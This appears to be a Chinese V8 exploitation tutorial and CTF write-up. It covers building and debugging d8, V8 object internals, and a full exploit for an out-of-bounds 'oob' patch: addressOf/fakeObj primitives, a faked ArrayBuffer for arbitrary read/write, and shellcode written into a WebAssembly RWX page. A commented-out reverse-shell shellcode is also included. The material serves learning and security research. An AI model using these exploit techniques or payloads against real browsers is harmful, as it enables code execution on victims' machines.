它是⼀个多进程+IPC的程序, 不同的进程管理不同的内容,
browser process
: 主进程rander process
: 负责控制渲染内容GPU process
: 负责渲染内容utility process
: 标签⻚进程plugin process
: 插件进程各浏览器对应的 js 引擎:
V8
是 chrome 的 JS Engine ,同时也是 Node.js 的 JS Engine 。V8调试接口非常丰富,基本上可以给你任何你想要的信息。webkit
, 除了 safari , 很多 appstore 的程序也都用 webkit 。chakracore
, 现在用 v8
了。chakracore
几乎已经被淘汰了(代码量小,适合学习)firefox
用的是 spidermonkey
js 引擎(javascript engine): 处理⼀些 js 语⾔时, 通常是先把网页代码下载下来, 浏览器来解析, 浏览器解析 js 语
句, 达到指定的效果, 浏览器可以说是 js 语⾔的解释器.
parser
:
interpreter
: 解释器, 可以理解成⼀个自定义的虚拟机(⼀个很大很大的 switch case 分支, 对每个 case 有不同的操作符)
parser
可以组成⼀个完整的 JS EngineJIT Compiler
(optimizing compiler
): Just In time编译器
Interpreter
执行 bytecode 很慢, JIT 编译器用于优化"Hot Function"(被执行了很多次的函数, 很热门的函数)interpreter
解析时会出现大量分支)虚拟机版本为 ubuntu 18.04
首先下载用于 Chromium
开发的工具 depot_tools
。这个工具用于 v8
的编译。
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
将 depot_tools
添加到环境变量 PATH
的末尾
export PATH=$PATH:<path to depot_tools>
挂好代理,进入到 depot_tools
。直接安装会 ninja
报错需要先将版本回退到 138bff28
** 并且将 DEPOT_TOOLS_UPDATE
设为 0 。之后更新 depot_tools
。
git reset --hard 138bff28
export DEPOT_TOOLS_UPDATE=0
gclient
出现以下界⾯说明更新成功
下载 v8
,这个时间比较长,下载完后目录下会多一个 v8
文件夹。
fetch v8
根据题目需求 git checkout
切换 v8
版本,然后 gclient sync -D
下载相关依赖,-D
会删除不需要的依赖。
cd v8
git checkout 7.6.303.28
gclient sync -D
如果题目给的是一个 Chrome 浏览器那么首先安装浏览器然后再网址栏中输入 chrome://version
查看版本,例如:
112.0.5615.87 (正式版本) (64 位) (cohort: Bypass)
打开 github 的 chrome 项目,搜索版本号并切换至相应版本。
然后在项目根目录下的 DEPS
文件中查看 V8
版本:
如果题目给了 diff
文件需要将 patch 到项目中。对 git 不熟的 patch 前建议先拍快照 。
git apply ./oob.diff
之后安装相关依赖,如果遇到下载字体未响应问题需要添加 --no-chromeos-fonts
参数。
./build/install-build-deps.sh
编译 v8
,这里选的 release
版本。debug
版本改为 x64.debug
,32 为版本将 x64
改为 ia32
。如果调试漏洞的话, 最好选择 release
版本 因为 debug
版本可能会有很多检
查。
另外如果出现路径错误需要切换到 ./tools/dev/
路径再进行编译。
./tools/dev/gm.py x64.release
完成后是这个样子
编译生成的 d8
在 ./out/x64.release/d8
中。
在 ~/.gdbinit
添加 v8
的调试插件:
source <path to v8>/tools/gdbinit
source <path to v8>/gdb-v8-support.py
常见参数:
--allow-natives-syntax
开启原生API (用的比较多)--trace-turbo
跟踪生成TurboFan IR--print-bytecode
打印生成的bytecode--shell
运行脚本后切入交互模式--help
调试 js 脚本时可以采用如下命令:
gdb ./d8
r --allow-natives-syntax --shell ./exp.js
js中常见的⼀些调试技巧:
%SystemBreak();
,如果不在调试模式的话, 程序直接中断, 如果在调试器中, 会被调试器识别到%DebugPrint(var_name);
job + DebugPrint打印的对象地址
可以打印出对象的结构。length
属性,可以通过下标来线性访问它的每一个元素。ArrayBuffer
对象用来表示通用的、固定长度的原始二进制数据缓冲区。ArrayBuffer
不能直接操作,而是要通过类型数组对象或 DataView
对象来操作,它们会将缓冲区中的数据表示为特定的格式,并通过这些格式来读写缓冲区的内容。
new ArrayBuffer(length)
length
要创建的 ArrayBuffer
的大小,单位为字节。ArrayBuffer
对象,其内容被初始化为 0
。DataView
是一个可以从 ArrayBuffer
对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。
语法
new DataView(buffer [, byteOffset [, byteLength]])
参数
buffer
:一个 ArrayBuffer
或 SharedArrayBuffer
对象,DataView
对象的数据源。byteOffset
(可选):此 DataView
对象的第一个字节在 buffer
中的偏移。如果未指定,则默认从第一个字节开始。byteLength
(可选):此 DataView
对象的字节长度。如果未指定,则默认与 buffer
的长度相同。返回值:一个 DataView
对象,用于呈现指定的缓存区数据。你可以把返回的对象想象成一个二进制 array buffer
的“解释器”——它知道如何在读取或写入时正确地转换字节码。这意味着它能在二进制层面处理整数与浮点转化、字节顺序等其他有关的细节问题。
例如下面这段代码
var ab = new ArrayBuffer(0x100);
var dv = new DataView(ab);
dv.setUint32(0, 0xdeadbeef, true);
console.log(dv.getUint16(2, true));
%DebugPrint(dv);
%SystemBreak();
顾名思义,是Asm on the web 。但其实不是真正意义上的汇编,只是更加接近汇编。
常用接口有
WebAssembly.Module()
:创建一个新的 WebAssembly 模块对象。WebAssembly.Instance()
:创建一个新的 WebAssembly 实例对象。WebAssembly.Memory()
:创建一个新的 WebAssembly 内存对象。WebAssembly.Table()
:创建一个新的 WebAssembly 表格对象。最重要的特点:可以在 Javascript Engine 的地址空间中导入一块可读可写可执行的内存页。
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports.main;
%SystemBreak();
Hidden Class
也被称作 Object Map
,简称 Map
。位于 V8 O bject
的第一个 8 字节。
任何由 v8 gc
管理的 Js Object
,它的前 8 个字节(或者在 32 位上是前四个字节)都是⼀个指向 Map
的指针。
Map
中比较重要的字段是一个指向 DescriptorArray
的指针,里面包含有关name properties的信息,例如属性名和存储属性值的位置。
具有相同 Map
的两个 JS object
,就代表具有相同的类型(即具有以相同顺序命名的相同属性),比较 Map
的地址即可确定类型是否⼀致,同理,替换掉 Map
就可以进行类型混淆。
在一些利用中,可以通过伪造 Type
字段来伪造 Map
。
Properties
用于保持非数字索引的属性,分为 Inline Property
,Fast Properties
和 Dictionary Properties
。
即 in-object proterty
,存放在 object
本身,而不是在 Properties
指针指向的内存,需要 Descriptor Array
。
Fast Properties
线性保存在 Properties
指针指向的内存中,需要 Descriptor Array
。
Dictionary Properties
即 Slow Properties
,以哈希表的形式保存在 Properties
指针指向的内存中,不需要 Descriptor Array
。
Elements
用于保存数字索引的属性。
如果各个属性之间连续,那么可以直接开一个数组(下标从 0 开始)来表示 Elements
,如果有的下标没有对应的属性则数组中该下标对应的值为一个特殊值,此时这个 Elements
被称为 Holey Elements
。如果数组中每个下标都对应属性则这个 Elements
被称为 Packed Elements
。
例如下面这个脚本:
const a = ['a', 'b', 'c'];
%DebugPrint(a);
%SystemBreak();
delete a[1];
console.log(a[1]);
%SystemBreak();
a.__proto__ = {1: 'B', 2: "C"};
console.log(a[0]);
console.log(a[1]);
console.log(a[2]);
console.log(a[3]);
%SystemBreak();
调试结果如下:
0x37815f38bba9
pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
- map: 0x39d6446c3069
Fast Elements
和 Dictionary Elements
的区别是存储方式是线性保存还是词典保存。 Dictionary Elements
主要用于 Holey Element
特别多的情况。
处理通用对象外,v8 还内置了一些常见类型。
在 v8 源码的 v8/src/objects/objects.h
中有对 v8 各种类型之间继承关系的描述。
Most object types in the V8 JavaScript are described in this file.
Inheritance hierarchy:
- Object
- Smi (immediate small integer)
- TaggedIndex (properly sign-extended immediate small integer)
- HeapObject (superclass for everything allocated in the heap)
- JSReceiver (suitable for property access)
- JSObject
- JSArray
- TemplateLiteralObject
- JSArrayBuffer
- JSArrayBufferView
- JSTypedArray
- JSDataView
- JSCollection
- JSSet
- JSMap
- JSCustomElementsObject (may have elements despite empty FixedArray)
- JSSpecialObject (requires custom property lookup handling)
- JSGlobalObject
- JSGlobalProxy
- JSModuleNamespace
- JSPrimitiveWrapper
- JSDate
- JSFunctionOrBoundFunctionOrWrappedFunction
- JSBoundFunction
- JSFunction
- JSWrappedFunction
- JSGeneratorObject
- JSMapIterator
- JSMessageObject
- JSRegExp
- JSSetIterator
- JSShadowRealm
- JSSharedStruct
- JSStringIterator
- JSTemporalCalendar
- JSTemporalDuration
- JSTemporalInstant
- JSTemporalPlainDate
- JSTemporalPlainDateTime
- JSTemporalPlainMonthDay
- JSTemporalPlainTime
- JSTemporalPlainYearMonth
- JSTemporalTimeZone
- JSTemporalZonedDateTime
- JSWeakCollection
- JSWeakMap
- JSWeakSet
- JSCollator // If V8_INTL_SUPPORT enabled.
- JSDateTimeFormat // If V8_INTL_SUPPORT enabled.
- JSDisplayNames // If V8_INTL_SUPPORT enabled.
- JSDurationFormat // If V8_INTL_SUPPORT enabled.
- JSListFormat // If V8_INTL_SUPPORT enabled.
- JSLocale // If V8_INTL_SUPPORT enabled.
- JSNumberFormat // If V8_INTL_SUPPORT enabled.
- JSPluralRules // If V8_INTL_SUPPORT enabled.
- JSRelativeTimeFormat // If V8_INTL_SUPPORT enabled.
- JSSegmenter // If V8_INTL_SUPPORT enabled.
- JSSegments // If V8_INTL_SUPPORT enabled.
- JSSegmentIterator // If V8_INTL_SUPPORT enabled.
- JSV8BreakIterator // If V8_INTL_SUPPORT enabled.
- WasmExceptionPackage
- WasmTagObject
- WasmGlobalObject
- WasmInstanceObject
- WasmMemoryObject
- WasmModuleObject
- WasmTableObject
- WasmSuspenderObject
- JSProxy
- FixedArrayBase
- ByteArray
- BytecodeArray
- FixedArray
- HashTable
- Dictionary
- StringTable
- StringSet
- CompilationCacheTable
- MapCache
- OrderedHashTable
- OrderedHashSet
- OrderedHashMap
- FeedbackMetadata
- TemplateList
- TransitionArray
- ScopeInfo
- SourceTextModuleInfo
- ScriptContextTable
- ClosureFeedbackCellArray
- FixedDoubleArray
- PrimitiveHeapObject
- BigInt
- HeapNumber
- Name
- String
- SeqString
- SeqOneByteString
- SeqTwoByteString
- SlicedString
- ConsString
- ThinString
- ExternalString
- ExternalOneByteString
- ExternalTwoByteString
- InternalizedString
- SeqInternalizedString
- SeqOneByteInternalizedString
- SeqTwoByteInternalizedString
- ConsInternalizedString
- ExternalInternalizedString
- ExternalOneByteInternalizedString
- ExternalTwoByteInternalizedString
- Symbol
- Oddball
- Context
- NativeContext
- Cell
- DescriptorArray
- PropertyCell
- PropertyArray
- InstructionStream
- AbstractCode, a wrapper around Code or BytecodeArray
- GcSafeCode, a wrapper around Code
- Map
- Foreign
- SmallOrderedHashTable
- SmallOrderedHashMap
- SmallOrderedHashSet
- SharedFunctionInfo
- Struct
- AccessorInfo
- AsmWasmData
- PromiseReaction
- PromiseCapability
- AccessorPair
- AccessCheckInfo
- InterceptorInfo
- CallHandlerInfo
- EnumCache
- TemplateInfo
- FunctionTemplateInfo
- ObjectTemplateInfo
- Script
- DebugInfo
- BreakPoint
- BreakPointInfo
- CallSiteInfo
- CodeCache
- PropertyDescriptorObject
- PromiseOnStack
- PrototypeInfo
- Microtask
- CallbackTask
- CallableTask
- PromiseReactionJobTask
- PromiseFulfillReactionJobTask
- PromiseRejectReactionJobTask
- PromiseResolveThenableJobTask
- Module
- SourceTextModule
- SyntheticModule
- SourceTextModuleInfoEntry
- StackFrameInfo
- FeedbackCell
- FeedbackVector
- PreparseData
- UncompiledData
- UncompiledDataWithoutPreparseData
- UncompiledDataWithPreparseData
- SwissNameDictionary
Formats of Object::ptr_: Smi: [31 bit signed int] 0
HeapObject: [32 bit direct pointer] (4 byte aligned) | 01
所有不超过 0x7FFFFFFF 的整数都以 Smi
的形式存储。
最低位为 1 表示指向 HeapObject
的指针。
表示不能在 Smi
范围内表⽰的整数,均以 double 值的形式保存在 Heap Number
的 Value
里。
继承自 Object
,HeapObject
,JSReceiver
。
v8 的 JSArray
遵循图中格的变化,从左到右,从上到下,不可逆。
规律:
Smi
和浮点数则都用浮点数表示Object
类型则都用 Object
类型表示。在实际的漏洞利用中,我们常构造出 double array 和 obj array 的类型混淆,从而构建 addrof 和 fakeobj 原语。
JSArrayBuffer
,顾名思义,就是保存有⼀个被称作 BackingStore
的 buffer 的对象。
在 V8 中,对象通常被存放在由 V8 GC 管理的 mapped 区域,然而 BackingStore
是⼀个不被 V8 GC 管理的区域,(事实上它在 Chrome 里是由 PartitionAlloc 来管理,在 d8 里则是用 ptmalloc 来模拟管理),此外,由于它不是由 GC 管理的 HeapObject
,因 此指向 BackingStore
的指针不是 Tagged Value
(末尾不能为1)。
ArrayBuffer
中描述了大小,但如果将此值重写为较大的值,则可以允许读取和写入的长度,超出 BackingStore
数组的范围。BackingStore
指针,则可以读取和写入任意内存地址,这些是在 exploit 中常用的方法。由于 JSArrayBuffer
实际上只是持有 BackingStore
指针的对象,换句话说,它只是⼀个 buffer ,所以在 js 的设计⾥,对 BackStore
的读写需要依赖于 TypedArray
或者 DataView
。
在漏洞利用时通常使用 JSTypedArray
进行整型和浮点数类型的转换。
var ab = new ArrayBuffer(0x8);
var f64 = new Float64Array(ab);
var i64 = new BigUint64Array(ab);
function d2u(val) {
f64[0] = val;
return i64[0];
}
function u2d(val) {
i64[0] = val;
return f64[0];
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
// let val = "0x1145141919810";
let val = 0x1145141919810n;
print(u2d(val));
print(hex(d2u(u2d(val))));
// 1.501041597677047e-309
// 0x0001145141919810
也是用来读写 ArrayBuffer
的 BackingStore
的内容的对象,在 exploit 里常用作最后的任意地址读写原语的构造。
利用 JDataView
实现的类型转换:
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
let val = 0x1145141919810n;
print(u2d(val));
print(hex(d2u(u2d(val))));
附件下载链接
观察 oob.diff
发现增加了如下功能,即任意数组可以以浮点数类型越界读写 8 字节。
BUILTIN(ArrayOob){
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}else{
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
}
调试发现 JSArray
在内存中的结构如下图所示:
因此可以通过 oob
泄露 Map
地址。
var obj = {};
var float_array = [.1];
var object_array = [obj];
var float_array_map = float_array.oob();
var object_array_map = object_array.oob();
print("[*] float array map: " + hex(d2u(float_array_map)));
print("[*] object array map: " + hex(d2u(object_array_map)));
通过 oob
修改 Map
构造实现浮点数数组和 objec t数组的类型混淆,进而构造 addressOf
和 fakeObj
两个利用原语。
addressOf
:传入一个 object , 返回它的地址,实现对任意 object 的地址泄漏。fakeObj
:传入一个地址,我们把这个地址指向的内存当做一个 object , 并将它返回。实现对任意 object 的伪造。function addressOf(obj) {
float_array.oob(object_array_map);
float_array[0] = obj;
float_array.oob(float_array_map);
return d2u(float_array[0]);
}
function fakeObj(addr) {
object_array.oob(float_array_map);
object_array[0] = u2d(addr | 1n);
object_array.oob(object_array_map);
return object_array[0];
}
任意地址读写如果用 DoubleArray
实现会有如下问题:
elements
指针指向的内存段时属于 v8 的堆的范围。DoubleArray
构造的任意地址读写只能读写 elements + 0x10
,并且还会访问 [elements, elements + 0x10)
范围内的数据,而如果是在 rwx 段写 shellcode 需要从起始位置开始写,因此不能用 DoubleArray
构造的任意地址读写完成。因此这里需要使用 ArrayBuffer
和 DataView
来构造任意地址读写。
首先在 DoubleArray
中构造一个 fake ArrayBuffer
,之后就可以通过 DoubleArray
修改 BackingStore
指针来进行任意地址读写。
var fake_ab_mem = [
u2d(0n), // Map
u2d(0n), // Propertries
u2d(0n), // Elements
u2d(0x1000n), // ByteLength
u2d(0n), // BackingStore
u2d(0n), // Map
u2d(0x1900042319080808n), // type
];
var fake_ab_addr = addressOf(fake_ab_mem) + 0x58n;
fake_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fakeObj(fake_ab_addr);
var dv = new DataView(fake_ab);
function arbitrary_address_read(address) {
fake_ab_mem[4] = u2d(address);
return dv.getBigUint64(0, true);
}
function arbitrary_address_write(address, value) {
fake_ab_mem[4] = u2d(address);
return dv.setBigUint64(0, value, true);
}
利用 WebAssembly
开辟 rwx 段。
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;
利用任意地址读泄露 rwx 段基址。
var rwx_mem_addr = arbitrary_address_read(addressOf(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));
写入 shellcode 并调用 WebAssembly
对应函数执行 shellcode 。
var shellcode = [
0x9090909090909090n,
0x636c6163782fb848n,
0x73752fb848500000n,
0x8948506e69622f72n,
0x89485750c03148e7n,
0x3ac0c748d23148e6n,
0x4944b84850000030n,
0x48503d59414c5053n,
0x485250c03148e289n,
0x00003bc0c748e289n,
0x0000000000050f00n
]
// var shellcode=[
// 0x6a5f026a9958296an,
// 0xb9489748050f5e01n,
// 0x0100007f39300002n,
// 0x6a5a106ae6894851n,
// 0x485e036a050f582an,
// 0x75050f58216aceffn,
// 0x2fbb4899583b6af6n,
// 0x530068732f6e6962n,
// 0xe689485752e78948n,
// 0x000000000000050fn]
//nc -lvvp 12345
for (let i = 0; i < shellcode.length; i++) {
arbitrary_address_write(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}
f();